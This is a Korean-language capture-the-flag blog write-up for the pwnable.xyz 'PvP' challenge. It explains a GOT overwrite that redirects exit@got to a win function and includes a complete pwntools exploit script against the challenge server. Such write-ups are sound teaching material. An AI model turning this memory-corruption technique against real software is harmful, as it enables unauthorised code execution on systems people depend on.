본문으로 바로가기

pwnable.xyz / PvP

category Wargame/pwnable.xyz 2020. 4. 8. 10:09

iape와 비슷하지만 PIE가 아니다. 아래의 두 가지 포인트만 알고 있으면 된다.

 

1. save_it 함수를 통해 x를 dest가 가리키는 위치에 쓸 수 있다.

2. append로 dest를 overwrite 할 수 있다.

 

함수의 GOT를 overwrite 할 수 있는데, x 문자열을 늘리면서 중간에 NULL 바이트를 넣을 수가 없다는 문제가 있다. libc로 연결되지 않은 함수의 got는 plt+6를 가리켜서 앞 3바이트 외에는 모두 NULL이므로, save it을 하기 전까지 한 번도 실행되지 않은 함수를 찾아 win의 앞 3바이트를 써 주면, 해당 함수를 실행할 때 win을 실행할 수 있다. 그런데.. 마땅한 함수가 없어서 어쩔 수 없이 exit를 선택하게 되었다.

exit@got를 win의 주소로 덮어씌울 것이기 때문에 x의 첫 3바이트는 win의 주소로 설정해 줘야 한다. 그 뒤에는 1016개의 임의의 바이트들을 붙이고, 마지막으로 exit@got의 주소 0x6020A0을 달아주면 된다.

 

Long Append는 처음 한 번만 쓸 수 있고 Short Append는 Long Append를 쓴 뒤에 사용할 수 있다.

60초를 기다려서 SIGALRM을 받으면 exit가 실행된다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
args = parser.parse_args()

if args.remote :
    p = connect('svc.pwnable.xyz'30022)
else :
    p = process('./challenge')


def log_info(string) :
    sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode())

def ShortAppend() :
    p.writeafter(b'> ''1')
    p.readuntil(b'me ')
    return int(p.readuntil(b' '))

def LongAppend() :
    p.writeafter(b'> ''2')
    p.readuntil(b'me ')
    return int(p.readuntil(b' '))

def Append(data:bytes) :
    p.write(data)

def SaveIt(size:int) :
    p.writeafter(b'> 'b'4')
    p.writeafter(b'? 'str(size).encode())

def exploit() :
    exit_got = 0x6020A0

    payload = p64(0x400B2D)[:3]   # win
    payload += b'A'*(0x400-3)
    payload += p64(exit_got)

    begin = LongAppend()
    Append(payload[:begin])
    log_info('write [{0}{1}]'.format(0, begin))

    while True :
        n = ShortAppend()

        if n == 0 :
            continue

        Append(payload[begin:begin+n])
        log_info('write [{0}{1}]'.format(begin, begin+n))
        begin += n

        if begin >= 0x408 :
            break

    SaveIt(3)

    p.interactive()


if __name__ == '__main__' :
    exploit()

 

 

 

Last update: 4/8/2020

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / Punch it  (0) 2020.04.09
pwnable.xyz / catalog  (0) 2020.04.08
pwnable.xyz / bookmark  (0) 2020.04.08
pwnable.xyz / attack  (0) 2020.04.08
pwnable.xyz / rwsr  (0) 2020.01.20